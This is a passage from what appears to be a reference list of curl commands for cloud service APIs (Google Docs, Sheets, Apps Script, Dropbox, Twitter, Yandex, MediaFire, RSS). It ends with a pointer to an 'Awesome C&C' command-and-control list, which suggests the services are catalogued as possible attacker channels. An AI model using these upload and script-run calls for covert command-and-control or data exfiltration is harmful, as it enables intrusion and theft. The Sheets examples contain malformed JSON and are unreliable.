5Retrieve CommentsGet comments from a specific post.curl -X GET 'https://example.com/wp-json/wp/v2/comments?post={post-id}'https://example.com/wp-json/wp/v2/commentsGET https://example.com/wp-json/wp/v2/comments?post={post-id}

Google Docs

IDTitleDescriptionCommands and CodesAPI EndpointHTTP Requests
1Read Document ContentRetrieve the content of a Google Docs document.curl -X GET 'https://docs.googleapis.com/v1/documents/{documentId}' -H 'Authorization: Bearer {access-token}'https://docs.googleapis.com/v1/documents/{documentId}GET https://docs.googleapis.com/v1/documents/{documentId}
2Create DocumentCreate a new Google Docs document.curl -X POST 'https://docs.googleapis.com/v1/documents' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{\"title\": \"New Document\"}'https://docs.googleapis.com/v1/documentsPOST https://docs.googleapis.com/v1/documents
3Insert TextInsert text into a Google Docs document.curl -X PATCH 'https://docs.googleapis.com/v1/documents/{documentId}:batchUpdate' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{\"requests\": [{\"insertText\": {\"location\": {\"index\": 1}, \"text\": \"Your text here\"}}]}'https://docs.googleapis.com/v1/documents/{documentId}:batchUpdatePATCH https://docs.googleapis.com/v1/documents/{documentId}:batchUpdate
4Replace TextReplace text in a Google Docs document.curl -X PATCH 'https://docs.googleapis.com/v1/documents/{documentId}:batchUpdate' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{\"requests\": [{\"replaceAllText\": {\"containsText\": {\"text\": \"old text\"}, \"replaceText\": \"new text\"}}]}'https://docs.googleapis.com/v1/documents/{documentId}:batchUpdatePATCH https://docs.googleapis.com/v1/documents/{documentId}:batchUpdate
5Delete TextDelete text from a Google Docs document.curl -X PATCH 'https://docs.googleapis.com/v1/documents/{documentId}:batchUpdate' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{\"requests\": [{\"deleteContentRange\": {\"range\": {\"startIndex\": 10, \"endIndex\": 20}}}]}'https://docs.googleapis.com/v1/documents/{documentId}:batchUpdatePATCH https://docs.googleapis.com/v1/documents/{documentId}:batchUpdate

Google forms

IDTitleDescriptionCommands and CodesAPI EndpointHTTP Requests
1Read Form ResponsesRetrieve responses from a Google Form (responses are stored in a Google Sheet).curl -X GET 'https://sheets.googleapis.com/v4/spreadsheets/{spreadsheetId}/values/{range}' -H 'Authorization: Bearer {access-token}'https://sheets.googleapis.com/v4/spreadsheets/{spreadsheetId}/values/{range}GET https://sheets.googleapis.com/v4/spreadsheets/{spreadsheetId}/values/{range}
2Create Google FormProgrammatically create a Google Form using Google Apps Script.curl -X POST 'https://script.googleapis.com/v1/scripts/{scriptId}:run' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{\"function\": \"createForm\", \"parameters\": [\"Form Title\"]}'https://script.googleapis.com/v1/scripts/{scriptId}:runPOST https://script.googleapis.com/v1/scripts/{scriptId}:run
3Add Question to FormAdd a question to an existing Google Form using Google Apps Script.curl -X POST 'https://script.googleapis.com/v1/scripts/{scriptId}:run' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{\"function\": \"addQuestion\", \"parameters\": [\"Form ID\", \"Question Title\"]}'https://script.googleapis.com/v1/scripts/{scriptId}:runPOST https://script.googleapis.com/v1/scripts/{scriptId}:run
4Update Form QuestionUpdate a question in a Google Form using Google Apps Script.curl -X POST 'https://script.googleapis.com/v1/scripts/{scriptId}:run' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{\"function\": \"updateQuestion\", \"parameters\": [\"Form ID\", \"Question ID\", \"New Question Title\"]}'https://script.googleapis.com/v1/scripts/{scriptId}:runPOST https://script.googleapis.com/v1/scripts/{scriptId}:run
5Delete Form QuestionDelete a question from a Google Form using Google Apps Script.curl -X POST 'https://script.googleapis.com/v1/scripts/{scriptId}:run' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{\"function\": \"deleteQuestion\", \"parameters\": [\"Form ID\", \"Question ID\"]}'https://script.googleapis.com/v1/scripts/{scriptId}:runPOST https://script.googleapis.com/v1/scripts/{scriptId}:run

Google appscript

IDTitleDescriptionCommands and CodesAPI EndpointHTTP Requests
1Run Script FunctionExecute a function in an Apps Script project.curl -X POST 'https://script.googleapis.com/v1/scripts/{scriptId}:run' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{\"function\": \"functionName\", \"parameters\": [\"param1\", \"param2\"], \"devMode\": true}'https://script.googleapis.com/v1/scripts/{scriptId}:runPOST https://script.googleapis.com/v1/scripts/{scriptId}:run
2Create Script ProjectCreate a new Apps Script project.curl -X POST 'https://script.googleapis.com/v1/projects' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{\"title\": \"New Project\"}'https://script.googleapis.com/v1/projectsPOST https://script.googleapis.com/v1/projects
3Get Script Project ContentRetrieve the content of an Apps Script project.curl -X GET 'https://script.googleapis.com/v1/projects/{scriptId}/content' -H 'Authorization: Bearer {access-token}'https://script.googleapis.com/v1/projects/{scriptId}/contentGET https://script.googleapis.com/v1/projects/{scriptId}/content
4Update Script ProjectUpdate the content of an Apps Script project.curl -X PUT 'https://script.googleapis.com/v1/projects/{scriptId}/content' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{\"files\": [{\"name\": \"hello\", \"type\": \"SERVER_JS\", \"source\": \"function hello() {\\n return 'Hello, world!';\\n}\"}]}'https://script.googleapis.com/v1/projects/{scriptId}/contentPUT https://script.googleapis.com/v1/projects/{scriptId}/content
5Deploy Script ProjectCreate a deployment from an Apps Script project.curl -X POST 'https://script.googleapis.com/v1/projects/{scriptId}/deployments' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{\"versionNumber\": \"1\", \"manifestFileName\": \"appsscript\", \"description\": \"My Deployment\"}'https://script.googleapis.com/v1/projects/{scriptId}/deploymentsPOST https://script.googleapis.com/v1/projects/{scriptId}/deployments

Google sheet

IDTitleDescriptionCommands and CodesAPI EndpointHTTP Requests
1Read Spreadsheet DataRetrieve data from a specific range in a Google Sheet.curl -X GET 'https://sheets.googleapis.com/v4/spreadsheets/{spreadsheetId}/values/{range}' -H 'Authorization: Bearer {access-token}'https://sheets.googleapis.com/v4/spreadsheets/{spreadsheetId}/values/{range}GET https://sheets.googleapis.com/v4/spreadsheets/{spreadsheetId}/values/{range}
2Write Data to SpreadsheetWrite data to a specific range in a Google Sheet.curl -X PUT 'https://sheets.googleapis.com/v4/spreadsheets/{spreadsheetId}/values/{range}?valueInputOption=USER_ENTERED' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{\"values\": [[\"Value1\", \"Value2\"]}]'https://sheets.googleapis.com/v4/spreadsheets/{spreadsheetId}/values/{range}PUT https://sheets.googleapis.com/v4/spreadsheets/{spreadsheetId}/values/{range}
3Append Data to SpreadsheetAppend data to a specific range in a Google Sheet.curl -X POST 'https://sheets.googleapis.com/v4/spreadsheets/{spreadsheetId}/values/{range}:append?valueInputOption=USER_ENTERED' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{\"values\": [[\"NewValue1\", \"NewValue2\"]}]'https://sheets.googleapis.com/v4/spreadsheets/{spreadsheetId}/values/{range}:appendPOST https://sheets.googleapis.com/v4/spreadsheets/{spreadsheetId}/values/{range}:append
4Update Spreadsheet PropertiesUpdate properties of a Google Sheet.curl -X PUT 'https://sheets.googleapis.com/v4/spreadsheets/{spreadsheetId}' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{\"requests\": [{\"updateSpreadsheetProperties\": {\"properties\": {\"title\": \"New Title\"}, \"fields\": \"title\"}}]}'https://sheets.googleapis.com/v4/spreadsheets/{spreadsheetId}PUT https://sheets.googleapis.com/v4/spreadsheets/{spreadsheetId}
5Create New SpreadsheetCreate a new Google Sheet.curl -X POST 'https://sheets.googleapis.com/v4/spreadsheets' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{\"properties\": {\"title\": \"New Spreadsheet\"}}'https://sheets.googleapis.com/v4/spreadsheetsPOST https://sheets.googleapis.com/v4/spreadsheets

Dropbox

IDTitleDescriptionCommands and CodesAPI EndpointHTTP Requests
1Upload FileUpload a file to Dropbox.curl -X POST https://content.dropboxapi.com/2/files/upload --header "Authorization: Bearer {access-token}" --header "Dropbox-API-Arg: {\"path\": \"/path/to/destination/file\",\"mode\": \"add\",\"autorename\": true,\"mute\": false,\"strict_conflict\": false}" --header "Content-Type: application/octet-stream" --data-binary @/path/to/local/filehttps://content.dropboxapi.com/2/files/uploadPOST https://content.dropboxapi.com/2/files/upload
2Download FileDownload a file from Dropbox.curl -X POST https://content.dropboxapi.com/2/files/download --header "Authorization: Bearer {access-token}" --header "Dropbox-API-Arg: {\"path\": \"/path/to/remote/file\"}" -o /path/to/local/filehttps://content.dropboxapi.com/2/files/downloadPOST https://content.dropboxapi.com/2/files/download
3List Folder ContentsList files and folders in a specific Dropbox folder.curl -X POST https://api.dropboxapi.com/2/files/list_folder --header "Authorization: Bearer {access-token}" --header "Content-Type: application/json" --data "{\"path\": \"/path/to/folder\",\"recursive\": false,\"include_media_info\": false,\"include_deleted\": false,\"include_has_explicit_shared_members\": false}"https://api.dropboxapi.com/2/files/list_folderPOST https://api.dropboxapi.com/2/files/list_folder
4Create FolderCreate a new folder in Dropbox.curl -X POST https://api.dropboxapi.com/2/files/create_folder_v2 --header "Authorization: Bearer {access-token}" --header "Content-Type: application/json" --data "{\"path\": \"/path/to/new/folder\",\"autorename\": false}"https://api.dropboxapi.com/2/files/create_folder_v2POST https://api.dropboxapi.com/2/files/create_folder_v2
5Delete File or FolderDelete a file or folder in Dropbox.curl -X POST https://api.dropboxapi.com/2/files/delete_v2 --header "Authorization: Bearer {access-token}" --header "Content-Type: application/json" --data "{\"path\": \"/path/to/file/or/folder\"}"https://api.dropboxapi.com/2/files/delete_v2POST https://api.dropboxapi.com/2/files/delete_v2

Twitter

IDTitleDescriptionCommands and CodesAPI EndpointHTTP Requests
1Post a TweetPublish a tweet to a user's timeline.curl -X POST 'https://api.twitter.com/1.1/statuses/update.json' -H 'Authorization: OAuth {oauth-header}' -d 'status=Hello%20World'https://api.twitter.com/1.1/statuses/update.jsonPOST https://api.twitter.com/1.1/statuses/update.json
2Read User TimelineRetrieve recent tweets from a user's timeline.curl -X GET 'https://api.twitter.com/1.1/statuses/user_timeline.json?screen_name={username}&count=2' -H 'Authorization: OAuth {oauth-header}'https://api.twitter.com/1.1/statuses/user_timeline.jsonGET https://api.twitter.com/1.1/statuses/user_timeline.json
3Stream TweetsStream tweets in real-time based on certain criteria.curl -X GET 'https://api.twitter.com/1.1/statuses/filter.json?track=twitter' -H 'Authorization: OAuth {oauth-header}'https://api.twitter.com/1.1/statuses/filter.jsonGET https://api.twitter.com/1.1/statuses/filter.json
4Search TweetsSearch for tweets matching certain keywords.curl -X GET 'https://api.twitter.com/1.1/search/tweets.json?q=%23example' -H 'Authorization: OAuth {oauth-header}'https://api.twitter.com/1.1/search/tweets.jsonGET https://api.twitter.com/1.1/search/tweets.json
5Delete a TweetDelete a specific tweet from a user's timeline.curl -X POST 'https://api.twitter.com/1.1/statuses/destroy/{id}.json' -H 'Authorization: OAuth {oauth-header}'https://api.twitter.com/1.1/statuses/destroy/{id}.jsonPOST https://api.twitter.com/1.1/statuses/destroy/{id}.json

Yandex

IDTitleDescriptionCommands and CodesAPI EndpointHTTP Requests
1Translate TextUse Yandex Translate to translate text.curl -X POST 'https://translate.yandex.net/api/v1.5/tr.json/translate' -d 'key={api-key}&text={text-to-translate}&lang=en-ru'https://translate.yandex.net/api/v1.5/tr.json/translatePOST https://translate.yandex.net/api/v1.5/tr.json/translate
2Geocode LocationConvert addresses into geographic coordinates.curl -X GET 'https://geocode-maps.yandex.ru/1.x/?format=json&apikey={api-key}&geocode={address}'https://geocode-maps.yandex.ru/1.x/GET https://geocode-maps.yandex.ru/1.x/
3Yandex Disk UploadUpload a file to Yandex Disk.curl -X GET 'https://cloud-api.yandex.net/v1/disk/resources/upload?path={file-path}' -H 'Authorization: OAuth {oauth-token}'https://cloud-api.yandex.net/v1/disk/resources/uploadGET https://cloud-api.yandex.net/v1/disk/resources/upload
4Yandex Disk DownloadDownload a file from Yandex Disk.curl -X GET 'https://cloud-api.yandex.net/v1/disk/resources/download?path={file-path}' -H 'Authorization: OAuth {oauth-token}'https://cloud-api.yandex.net/v1/disk/resources/downloadGET https://cloud-api.yandex.net/v1/disk/resources/download
5Yandex Speech RecognitionConvert speech to text using Yandex SpeechKit.curl -X POST 'https://stt.api.cloud.yandex.net/speech/v1/stt:recognize' -H 'Authorization: Bearer {iam-token}' --data-binary @{audio-file-path}https://stt.api.cloud.yandex.net/speech/v1/stt:recognizePOST https://stt.api.cloud.yandex.net/speech/v1/stt:recognize

Mediafire

IDTitleDescriptionCommands and CodesAPI EndpointHTTP Requests
1User AuthenticationAuthenticate a user and obtain a session token.curl -X POST 'https://www.mediafire.com/api/user/get_session_token.php' -d 'email={user-email}&password={user-password}&application_id={app-id}&signature={app-signature}'https://www.mediafire.com/api/user/get_session_token.phpPOST https://www.mediafire.com/api/user/get_session_token.php
2Upload FileUpload a file to MediaFire.curl -X POST 'https://www.mediafire.com/api/upload/upload.php' -H 'x-mf-session-token: {session-token}' -F 'file=@/path/to/file'https://www.mediafire.com/api/upload/upload.phpPOST https://www.mediafire.com/api/upload/upload.php
3List FilesList files in a user's account.curl -X GET 'https://www.mediafire.com/api/folder/get_content.php?folder_key={folder-key}&session_token={session-token}'https://www.mediafire.com/api/folder/get_content.phpGET https://www.mediafire.com/api/folder/get_content.php
4Download FileGenerate a link to download a file.curl -X GET 'https://www.mediafire.com/api/file/get_links.php?quick_key={file-quick-key}&session_token={session-token}'https://www.mediafire.com/api/file/get_links.phpGET https://www.mediafire.com/api/file/get_links.php
5Delete FileDelete a file from MediaFire.curl -X POST 'https://www.mediafire.com/api/file/delete.php' -d 'quick_key={file-quick-key}&session_token={session-token}'https://www.mediafire.com/api/file/delete.phpPOST https://www.mediafire.com/api/file/delete.php

rssfeed

IDTitleDescriptionCommands and CodesAPI Endpoint (RSS Feed URL)HTTP Requests
1Retrieve RSS FeedFetch the contents of an RSS feed.curl -X GET 'http://example.com/feed.xml'http://example.com/feed.xmlGET http://example.com/feed.xml
2Parse RSS FeedParse the retrieved RSS feed content (using Python with feedparser).python -c "import feedparser; feed = feedparser.parse('http://example.com/feed.xml'); print(feed.entries)"http://example.com/feed.xmlN/A
3Filter RSS FeedFilter the RSS feed for specific items (using Python with feedparser).python -c "import feedparser; feed = feedparser.parse('http://example.com/feed.xml'); [print(entry.title) for entry in feed.entries if 'keyword' in entry.title]"http://example.com/feed.xmlN/A
4Automate RSS FetchingSet up a cron job to regularly fetch an RSS feed.0 * * * * curl -X GET 'http://example.com/feed.xml' -o /path/to/save/feed.xmlhttp://example.com/feed.xmlGET http://example.com/feed.xml
5Convert RSS to JSONConvert RSS feed to JSON format for easier processing (using Python with feedparser).python -c "import feedparser, json; feed = feedparser.parse('http://example.com/feed.xml'); print(json.dumps(feed, indent=4))"http://example.com/feed.xmlN/A

Awesome C&C

github.com/tcostam/awesome-command-control

Framework